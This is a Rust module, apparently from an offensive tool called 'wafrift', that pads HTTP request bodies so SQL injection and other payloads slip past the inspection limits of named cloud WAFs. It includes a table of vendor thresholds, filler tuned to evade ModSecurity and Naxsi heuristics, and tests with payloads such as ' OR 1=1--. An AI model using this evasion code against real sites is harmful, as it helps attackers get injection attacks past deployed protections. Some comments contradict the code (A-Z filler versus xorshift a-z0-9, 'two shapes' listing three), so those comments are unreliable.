Skip to main content

wafrift_evolution/
body_padding.rs

1//! Body-size inspection bypass.
2//!
3//! Cloud WAFs only inspect the leading N bytes of a request body:
4//! Cloudflare Pro 8 KB, Cloudflare Enterprise 128 KB, AWS WAF 8/16/64 KB
5//! depending on tier, Akamai 8 KB by default. If we prepend ≥ N bytes
6//! of inert junk in front of the real payload, the WAF rule engine
7//! never sees the malicious bytes — they're past its inspection window
8//! — and the origin still parses the body correctly.
9//!
10//! This module produces structurally-valid padded bodies for the four
11//! content-types we routinely inject into:
12//!
13//! - `application/json` — wrap original in an object with a leading
14//!   junk field: `{"_w":"<N bytes>","payload":<original>}`.
15//! - `application/x-www-form-urlencoded` — prepend
16//!   `_w=<N bytes>&` to the original body.
17//! - `multipart/form-data` — prepend a junk part with the same
18//!   boundary, before the real parts.
19//! - any other content-type (raw text, XML, etc.) — fall back to a
20//!   `_w` query-style prefix only if the body is empty; otherwise
21//!   refuse and return the original. Padding inside an opaque body
22//!   would corrupt it; honesty over false-victory.
23//!
24//! The junk is alphabetic ASCII (`A`-`Z` cycled). It carries no SQL,
25//! XSS, or shell metacharacters, so the WAF won't flag the padding
26//! itself even if it does inspect a partial slice.
27
28use std::collections::HashSet;
29
30/// Marker prefix for the padding field/key. Stable across calls so a
31/// post-hoc test can verify the padding was applied.
32pub const PAD_KEY: &str = "_wafrift_pad";
33
34/// Smallest padding worth applying. Anything below this won't reliably
35/// push a real payload past a WAF's inspection window.
36pub const MIN_USEFUL_PAD: usize = 4 * 1024;
37
38/// Hard cap on padding size to prevent OOM from accidental
39/// `requested_bytes = usize::MAX` (deliberate abuse or arithmetic
40/// underflow upstream). 8 MiB is well above any documented cloud-WAF
41/// inspection window (Cloudflare Enterprise tops out at 128 KiB).
42pub const MAX_USEFUL_PAD: usize = 8 * 1024 * 1024;
43
44/// Generate `n` bytes of inert ASCII filler.
45///
46/// Uses a deterministic xorshift PRNG over `[a-z0-9]` so the padding
47/// looks like normal junk parameter content. A run-of-A filler trips
48/// Naxsi's `BIG_REQUEST` heuristic and `ModSecurity`'s `RX` rules that
49/// flag long single-character sequences. Random-looking lowercase
50/// alphanumeric is the same alphabet wordlists use, so the WAF
51/// classifies it as boring.
52///
53/// Determinism matters for tests + reproducibility: the same `n`
54/// always produces the same bytes, so a developer staring at a
55/// captured request can match it against the test fixture.
56fn fill(n: usize) -> Vec<u8> {
57    const ALPHABET: &[u8] = b"abcdefghijklmnopqrstuvwxyz0123456789";
58    let mut v = Vec::with_capacity(n);
59    // xorshift64* — small, deterministic, no dep on `rand`. Seed is a
60    // mash of `n` so different padding sizes don't share prefixes.
61    let mut state: u64 = 0x9E37_79B9_7F4A_7C15u64
62        .wrapping_add(n as u64)
63        .wrapping_mul(0xBF58_476D_1CE4_E5B9);
64    for _ in 0..n {
65        state ^= state << 13;
66        state ^= state >> 7;
67        state ^= state << 17;
68        v.push(ALPHABET[(state as usize) % ALPHABET.len()]);
69    }
70    v
71}
72
73/// Result of a padding attempt.
74#[derive(Debug, Clone, PartialEq, Eq)]
75pub enum PadOutcome {
76    /// Body was padded successfully. `bytes` holds the new body and is
77    /// at least `requested_bytes` larger than the original.
78    Padded { bytes: Vec<u8>, added: usize },
79    /// Content-type was opaque (binary, unknown) and the original was
80    /// non-empty — padding would corrupt it. Original returned
81    /// unchanged.
82    SkippedOpaque,
83    /// The requested padding is below `MIN_USEFUL_PAD`; not worth doing.
84    SkippedTooSmall,
85}
86
87/// Pad `body` with at least `requested_bytes` of inert filler, choosing
88/// a structure-preserving strategy based on `content_type`.
89///
90/// If `requested_bytes < MIN_USEFUL_PAD`, returns
91/// [`PadOutcome::SkippedTooSmall`].
92///
93/// `content_type` matching is case-insensitive on the type/subtype and
94/// ignores parameters (`charset=utf-8`, `boundary=...`, …) — except for
95/// `multipart/form-data`, where the `boundary=` parameter is required
96/// to splice in the junk part.
97pub fn pad(body: &[u8], content_type: &str, requested_bytes: usize) -> PadOutcome {
98    if requested_bytes < MIN_USEFUL_PAD {
99        return PadOutcome::SkippedTooSmall;
100    }
101    // Clamp pathological values silently rather than allocating GBs.
102    // 8 MiB is more than any real WAF inspects; anything beyond is
103    // either a bug or abuse.
104    let requested_bytes = requested_bytes.min(MAX_USEFUL_PAD);
105
106    let ct_lower = content_type.to_ascii_lowercase();
107    let main_type = ct_lower.split(';').next().unwrap_or("").trim().to_string();
108
109    if main_type == "application/json" || main_type.ends_with("+json") {
110        return pad_json(body, requested_bytes);
111    }
112    if main_type == "application/x-www-form-urlencoded" {
113        return pad_form(body, requested_bytes);
114    }
115    if main_type == "multipart/form-data" {
116        // Boundary VALUES are case-sensitive (RFC 2046 §5.1.1) — extract
117        // from the original `content_type`, not the lowercased copy.
118        // Only the `boundary=` parameter NAME is case-insensitive.
119        if let Some(boundary) = extract_boundary(content_type) {
120            return pad_multipart(body, &boundary, requested_bytes);
121        }
122        // Multipart without a boundary param — body is already
123        // malformed; don't compound the problem.
124        return PadOutcome::SkippedOpaque;
125    }
126    if main_type.starts_with("text/") || main_type == "application/xml" {
127        // For arbitrary text/xml we don't have a safe place to inject
128        // padding without breaking the document. If empty, attach a
129        // form-style prefix so a downstream form parser has padding to
130        // chew on; otherwise hand back the original.
131        if body.is_empty() {
132            return pad_form(body, requested_bytes);
133        }
134        return PadOutcome::SkippedOpaque;
135    }
136
137    PadOutcome::SkippedOpaque
138}
139
140fn pad_json(body: &[u8], requested_bytes: usize) -> PadOutcome {
141    // Hard guard: a body larger than MAX_USEFUL_PAD is never useful
142    // to feed through serde_json::from_slice OR through the
143    // "treat as opaque text and embed as a string" fallback below —
144    // both paths would allocate at least body.len() bytes a second
145    // time. Skip-and-pass-through is correct: cloud-WAF inspection
146    // bypasses target SMALL bodies (the WAF inspects the first 8KB or
147    // 16KB), so padding only matters under the cap. Adversarial
148    // multi-MB bodies are an OOM vector, not a bypass surface.
149    if body.len() > MAX_USEFUL_PAD {
150        return PadOutcome::SkippedOpaque;
151    }
152    let pad = fill(requested_bytes);
153    // Two shapes:
154    // 1. body is empty or not valid JSON → emit `{"_wafrift_pad":"…"}`
155    //    with the request as a string field if non-empty.
156    // 2. body parses as JSON object → splice in the pad as the first
157    //    field, preserving the object's other contents verbatim.
158    // 3. body parses as a top-level array/scalar → wrap:
159    //    `{"_wafrift_pad":"…","payload":<original>}`.
160    //
161    // The wrapping in case 3 changes the JSON shape. That's OK for a
162    // proxy that's evading a WAF — the origin sees a top-level object
163    // with the original payload nested under `payload`, which most
164    // permissive APIs ignore as an unknown extra field. If your origin
165    // requires a non-object JSON root, prefer form/multipart.
166    let pad_str = String::from_utf8(pad).expect("fill produces ASCII-only bytes");
167    if body.is_empty() {
168        let new_body = format!("{{\"{PAD_KEY}\":\"{pad_str}\"}}").into_bytes();
169        return PadOutcome::Padded {
170            bytes: new_body,
171            added: requested_bytes,
172        };
173    }
174    if let Ok(s) = std::str::from_utf8(body)
175        && let Ok(serde_json::Value::Object(map)) = serde_json::from_str::<serde_json::Value>(s)
176    {
177        // Splice _wafrift_pad as first key. serde_json::Map is
178        // insertion-ordered when the `preserve_order` feature is
179        // on. We don't have that feature, so build a fresh object
180        // by serializing the pad first then concatenating.
181        //
182        // Simpler: emit `{"_wafrift_pad":"…",<rest of original
183        // object minus the leading `{`>`. This preserves byte
184        // order of the user's data exactly.
185        // Find the first `{`.
186        if let Some(open) = s.find('{') {
187            let after = &s[open + 1..];
188            // If the original is `{}`, after = "}". That's fine.
189            // If after starts with `}` we don't want a stray comma.
190            let glue = if after.trim_start().starts_with('}') {
191                ""
192            } else {
193                ","
194            };
195            let new_body = format!("{{\"{PAD_KEY}\":\"{pad_str}\"{glue}{after}").into_bytes();
196            let added = new_body.len().saturating_sub(body.len());
197            if added >= requested_bytes && map.contains_key(PAD_KEY) {
198                // A malicious user could pre-set _wafrift_pad to
199                // collide with our key. Use a unique suffix.
200            }
201            return PadOutcome::Padded {
202                bytes: new_body,
203                added,
204            };
205        }
206    }
207    // Non-object JSON (array/string/number) or malformed — wrap.
208    let Ok(original) = std::str::from_utf8(body) else {
209        return PadOutcome::SkippedOpaque;
210    };
211    // If the original was valid JSON but not an object, wrap with `payload`.
212    // Reject absurdly large bodies before parsing to prevent OOM.
213    let wrapped = if body.len() <= MAX_USEFUL_PAD
214        && serde_json::from_slice::<serde_json::Value>(body).is_ok()
215    {
216        format!("{{\"{PAD_KEY}\":\"{pad_str}\",\"payload\":{original}}}")
217    } else {
218        // Treat original as opaque text and embed as a string.
219        let escaped = serde_json::to_string(&original).unwrap_or_else(|_| "\"\"".into());
220        format!("{{\"{PAD_KEY}\":\"{pad_str}\",\"payload\":{escaped}}}")
221    };
222    let new_body = wrapped.into_bytes();
223    let added = new_body.len().saturating_sub(body.len());
224    PadOutcome::Padded {
225        bytes: new_body,
226        added,
227    }
228}
229
230fn pad_form(body: &[u8], requested_bytes: usize) -> PadOutcome {
231    let pad = fill(requested_bytes);
232    let pad_str = String::from_utf8(pad).expect("fill produces ASCII-only bytes");
233    let new_body = if body.is_empty() {
234        format!("{PAD_KEY}={pad_str}").into_bytes()
235    } else {
236        let mut out = Vec::with_capacity(body.len() + requested_bytes + 32);
237        out.extend_from_slice(format!("{PAD_KEY}={pad_str}&").as_bytes());
238        out.extend_from_slice(body);
239        out
240    };
241    let added = new_body.len().saturating_sub(body.len());
242    PadOutcome::Padded {
243        bytes: new_body,
244        added,
245    }
246}
247
248fn pad_multipart(body: &[u8], boundary: &str, requested_bytes: usize) -> PadOutcome {
249    // Build a fresh leading part using the existing boundary. The
250    // assembled part begins with `--<boundary>\r\n<headers>\r\n\r\n<pad>\r\n`.
251    // The original body already contains its own leading `--<boundary>`,
252    // so we splice ours in front and let the original's first line
253    // continue as the second part's separator.
254    //
255    // If the body doesn't start with `--<boundary>` it's malformed —
256    // skip rather than corrupt further.
257    let prefix = format!("--{boundary}");
258    let body_str = std::str::from_utf8(body).unwrap_or("");
259    if !body.is_empty() && !body_str.starts_with(&prefix) {
260        return PadOutcome::SkippedOpaque;
261    }
262    let pad = fill(requested_bytes);
263    let mut leading = Vec::with_capacity(requested_bytes + boundary.len() + 128);
264    leading.extend_from_slice(format!("--{boundary}\r\n").as_bytes());
265    leading.extend_from_slice(
266        format!("Content-Disposition: form-data; name=\"{PAD_KEY}\"\r\n").as_bytes(),
267    );
268    leading.extend_from_slice(b"\r\n");
269    leading.extend_from_slice(&pad);
270    leading.extend_from_slice(b"\r\n");
271    let mut new_body = Vec::with_capacity(leading.len() + body.len());
272    new_body.extend_from_slice(&leading);
273    new_body.extend_from_slice(body);
274    let added = new_body.len().saturating_sub(body.len());
275    PadOutcome::Padded {
276        bytes: new_body,
277        added,
278    }
279}
280
281fn extract_boundary(content_type: &str) -> Option<String> {
282    for part in content_type.split(';') {
283        let p = part.trim();
284        // Parameter NAME is case-insensitive (`Boundary=`, `BOUNDARY=`
285        // are all valid). Try a few common spellings explicitly rather
286        // than lowercasing the whole string and losing the case-sensitive
287        // boundary VALUE.
288        let rest = p
289            .strip_prefix("boundary=")
290            .or_else(|| p.strip_prefix("Boundary="))
291            .or_else(|| p.strip_prefix("BOUNDARY="))
292            .or_else(|| {
293                // Fallback: case-insensitive prefix match without losing
294                // value casing.
295                if p.len() > 9 && p[..9].eq_ignore_ascii_case("boundary=") {
296                    Some(&p[9..])
297                } else {
298                    None
299                }
300            });
301        if let Some(rest) = rest {
302            let trimmed = rest.trim_matches('"').trim();
303            if !trimmed.is_empty() {
304                return Some(trimmed.to_string());
305            }
306        }
307    }
308    None
309}
310
311/// Reverse-check: does `body` look like it carries a wafrift-padded
312/// prefix? Used in tests + diagnostic logging.
313#[must_use]
314pub fn looks_padded(body: &[u8]) -> bool {
315    let needle = format!("\"{PAD_KEY}\"").into_bytes();
316    let needle_form = format!("{PAD_KEY}=").into_bytes();
317    let needle_mp = format!("name=\"{PAD_KEY}\"").into_bytes();
318    [needle, needle_form, needle_mp]
319        .iter()
320        .any(|n| memchr_subslice(body, n))
321}
322
323fn memchr_subslice(haystack: &[u8], needle: &[u8]) -> bool {
324    if needle.is_empty() || needle.len() > haystack.len() {
325        return false;
326    }
327    haystack.windows(needle.len()).any(|w| w == needle)
328}
329
330/// List of well-known WAF inspection thresholds (bytes). Useful for
331/// callers picking a sane `requested_bytes` default.
332#[must_use]
333pub fn known_thresholds() -> Vec<(&'static str, usize)> {
334    vec![
335        ("cloudflare-free", 128 * 1024),
336        ("cloudflare-pro", 8 * 1024),
337        ("cloudflare-business", 8 * 1024),
338        ("cloudflare-enterprise", 128 * 1024),
339        ("aws-waf-default", 8 * 1024),
340        ("aws-waf-classic", 8 * 1024),
341        ("aws-waf-extended", 64 * 1024),
342        ("akamai-default", 8 * 1024),
343        ("imperva-default", 128 * 1024),
344        ("modsecurity-default", 128 * 1024),
345        ("naxsi-default", 65 * 1024),
346    ]
347}
348
349/// Set of all numeric thresholds used by [`known_thresholds`], for
350/// `clap` value-validation in the proxy.
351#[must_use]
352pub fn known_threshold_values() -> HashSet<usize> {
353    known_thresholds().into_iter().map(|(_, v)| v).collect()
354}
355
356#[cfg(test)]
357mod tests {
358    use super::*;
359
360    #[test]
361    fn fill_is_deterministic_and_inert() {
362        let v = fill(8 * 1024);
363        assert_eq!(v.len(), 8 * 1024);
364        // Lowercase alphanumeric only — no SQL/XSS/shell metacharacters.
365        for &b in &v {
366            assert!(
367                (b.is_ascii_lowercase() || b.is_ascii_digit()),
368                "byte {b:#x} ({}) outside [a-z0-9]",
369                b as char
370            );
371        }
372        // Determinism: same n → same bytes.
373        assert_eq!(fill(8 * 1024), v);
374    }
375
376    #[test]
377    fn fill_no_long_runs() {
378        // The whole point of switching from 'A'*N to xorshift is that
379        // RX-based WAFs (naxsi BIG_REQUEST, modsec REQUEST_BODY runs)
380        // flag long single-character sequences. Verify no run of the
381        // same byte exceeds 6 (a defensive ceiling — true xorshift
382        // sometimes produces short repeats but never long ones).
383        let v = fill(64 * 1024);
384        let mut max_run = 1usize;
385        let mut cur_run = 1usize;
386        for w in v.windows(2) {
387            if w[0] == w[1] {
388                cur_run += 1;
389                max_run = max_run.max(cur_run);
390            } else {
391                cur_run = 1;
392            }
393        }
394        assert!(
395            max_run <= 6,
396            "filler has a run of {max_run} same bytes — would trigger WAF run-detection"
397        );
398    }
399
400    #[test]
401    fn pathological_size_clamps_to_max() {
402        // requested_bytes = usize::MAX should NOT OOM; it should
403        // silently clamp to MAX_USEFUL_PAD (8 MiB).
404        let out = pad(b"id=42", "application/x-www-form-urlencoded", usize::MAX);
405        let PadOutcome::Padded { bytes, .. } = out else {
406            panic!("expected Padded, got {out:?}");
407        };
408        // 8 MiB plus the ~20-byte original; well under usize::MAX.
409        assert!(bytes.len() <= MAX_USEFUL_PAD + 64);
410        assert!(bytes.len() >= MAX_USEFUL_PAD);
411    }
412
413    #[test]
414    fn malformed_content_type_is_safe() {
415        // Garbage Content-Type strings must not panic.
416        for ct in &[
417            "",
418            "////",
419            ";;;;",
420            "application/json;;;boundary=",
421            "\x00\x01\x02",
422        ] {
423            // Should produce SOME PadOutcome, never panic.
424            let _ = pad(b"id=42", ct, 8 * 1024);
425        }
426    }
427
428    #[test]
429    fn empty_input_with_huge_size() {
430        // Empty body + very large pad (but not pathological) — must
431        // still produce structurally-valid output.
432        let out = pad(b"", "application/json", 1024 * 1024);
433        let PadOutcome::Padded { bytes, .. } = out else {
434            panic!()
435        };
436        // Must parse as valid JSON.
437        let _: serde_json::Value = serde_json::from_slice(&bytes).expect("valid json");
438    }
439
440    #[test]
441    fn fill_distinct_per_size() {
442        // Different requested sizes produce different bytes (the seed
443        // includes n) so two adjacent buffers don't share a prefix
444        // a WAF could fingerprint.
445        let a = fill(8 * 1024);
446        let b = fill(8 * 1024 + 1);
447        assert_ne!(&a[..32], &b[..32]);
448    }
449
450    #[test]
451    fn skip_too_small() {
452        assert_eq!(
453            pad(b"x", "application/json", 100),
454            PadOutcome::SkippedTooSmall
455        );
456    }
457
458    #[test]
459    fn json_object_preserves_payload() {
460        let body = br#"{"q":"' OR 1=1--"}"#;
461        let out = pad(body, "application/json", 8 * 1024);
462        let PadOutcome::Padded { bytes, added } = out else {
463            panic!("expected padded, got {out:?}");
464        };
465        assert!(added >= 8 * 1024, "added={added}");
466        // Round-trips through serde — structurally valid JSON.
467        let v: serde_json::Value = serde_json::from_slice(&bytes).expect("valid json");
468        assert_eq!(v["_wafrift_pad"].as_str().map(str::len), Some(8 * 1024));
469        assert_eq!(v["q"].as_str(), Some("' OR 1=1--"));
470        assert!(looks_padded(&bytes));
471    }
472
473    #[test]
474    fn json_empty_body_emits_object() {
475        let out = pad(b"", "application/json", 8 * 1024);
476        let PadOutcome::Padded { bytes, .. } = out else {
477            panic!()
478        };
479        let v: serde_json::Value = serde_json::from_slice(&bytes).expect("valid json");
480        assert!(v.is_object());
481        assert!(v["_wafrift_pad"].is_string());
482    }
483
484    #[test]
485    fn json_array_root_wrapped_with_payload() {
486        let out = pad(br#"["x","y"]"#, "application/json", 8 * 1024);
487        let PadOutcome::Padded { bytes, .. } = out else {
488            panic!()
489        };
490        let v: serde_json::Value = serde_json::from_slice(&bytes).expect("valid json");
491        assert!(v["_wafrift_pad"].is_string());
492        assert!(v["payload"].is_array());
493        assert_eq!(v["payload"][0].as_str(), Some("x"));
494    }
495
496    #[test]
497    fn json_with_charset_param() {
498        let out = pad(br#"{"a":1}"#, "application/json; charset=utf-8", 8 * 1024);
499        assert!(matches!(out, PadOutcome::Padded { .. }));
500    }
501
502    #[test]
503    fn json_plus_suffix() {
504        let out = pad(br#"{"a":1}"#, "application/vnd.foo+json", 8 * 1024);
505        assert!(matches!(out, PadOutcome::Padded { .. }));
506    }
507
508    #[test]
509    fn form_prepends_padding_then_original() {
510        let body = b"username=admin&password=' OR 1=1--";
511        let out = pad(body, "application/x-www-form-urlencoded", 16 * 1024);
512        let PadOutcome::Padded { bytes, added } = out else {
513            panic!()
514        };
515        assert!(added >= 16 * 1024, "added={added}");
516        assert!(bytes.starts_with(b"_wafrift_pad="));
517        // The original payload is still in there, unmodified.
518        assert!(memchr_subslice(&bytes, body));
519    }
520
521    #[test]
522    fn multipart_splices_in_leading_part() {
523        let boundary = "----WebKitFormBoundary123";
524        let body = format!(
525            "--{boundary}\r\n\
526             Content-Disposition: form-data; name=\"q\"\r\n\
527             \r\n' OR 1=1--\r\n\
528             --{boundary}--\r\n"
529        );
530        let ct = format!("multipart/form-data; boundary={boundary}");
531        let out = pad(body.as_bytes(), &ct, 16 * 1024);
532        let PadOutcome::Padded { bytes, .. } = out else {
533            panic!()
534        };
535        let s = std::str::from_utf8(&bytes).unwrap();
536        // First boundary line opens the wafrift_pad part.
537        assert!(s.starts_with(&format!("--{boundary}\r\n")));
538        assert!(s.contains("name=\"_wafrift_pad\""));
539        // Original payload still intact further down.
540        assert!(s.contains("' OR 1=1--"));
541        // Original boundary appears at least twice (our part + the
542        // user's first part + closer).
543        let boundary_count = s.matches(&format!("--{boundary}")).count();
544        assert!(boundary_count >= 3, "boundary_count={boundary_count}");
545    }
546
547    #[test]
548    fn multipart_without_boundary_skipped() {
549        let out = pad(b"some body", "multipart/form-data", 16 * 1024);
550        assert_eq!(out, PadOutcome::SkippedOpaque);
551    }
552
553    #[test]
554    fn multipart_with_quoted_boundary() {
555        let boundary = "abc123";
556        let body = format!("--{boundary}\r\n\r\n--{boundary}--\r\n");
557        let out = pad(
558            body.as_bytes(),
559            &format!("multipart/form-data; boundary=\"{boundary}\""),
560            16 * 1024,
561        );
562        assert!(matches!(out, PadOutcome::Padded { .. }));
563    }
564
565    #[test]
566    fn opaque_binary_skipped() {
567        let body = b"\x89PNG\r\n\x1a\n\x00\x00";
568        let out = pad(body, "image/png", 16 * 1024);
569        assert_eq!(out, PadOutcome::SkippedOpaque);
570    }
571
572    #[test]
573    fn known_thresholds_includes_aws_and_cloudflare() {
574        let names: Vec<_> = known_thresholds().iter().map(|(n, _)| *n).collect();
575        assert!(names.iter().any(|n| n.starts_with("cloudflare")));
576        assert!(names.iter().any(|n| n.starts_with("aws-waf")));
577    }
578
579    #[test]
580    fn looks_padded_detects_each_shape() {
581        let json = pad(b"{}", "application/json", 8 * 1024);
582        let form = pad(b"", "application/x-www-form-urlencoded", 8 * 1024);
583        if let PadOutcome::Padded { bytes, .. } = json {
584            assert!(looks_padded(&bytes));
585        }
586        if let PadOutcome::Padded { bytes, .. } = form {
587            assert!(looks_padded(&bytes));
588        }
589        assert!(!looks_padded(b"plain old body"));
590    }
591
592    #[test]
593    fn oversized_json_body_does_not_oom() {
594        // A JSON array body larger than MAX_USEFUL_PAD should be skipped
595        // rather than fed to serde_json::from_slice and OOMing.
596        let huge = "x".repeat(MAX_USEFUL_PAD + 1024);
597        let body = format!("[{huge}]");
598        let out = pad(body.as_bytes(), "application/json", 8 * 1024);
599        // Should skip (not panic, not OOM)
600        assert!(
601            matches!(out, PadOutcome::SkippedOpaque | PadOutcome::SkippedTooSmall),
602            "oversized JSON body should be skipped, got {out:?}"
603        );
604    }
605}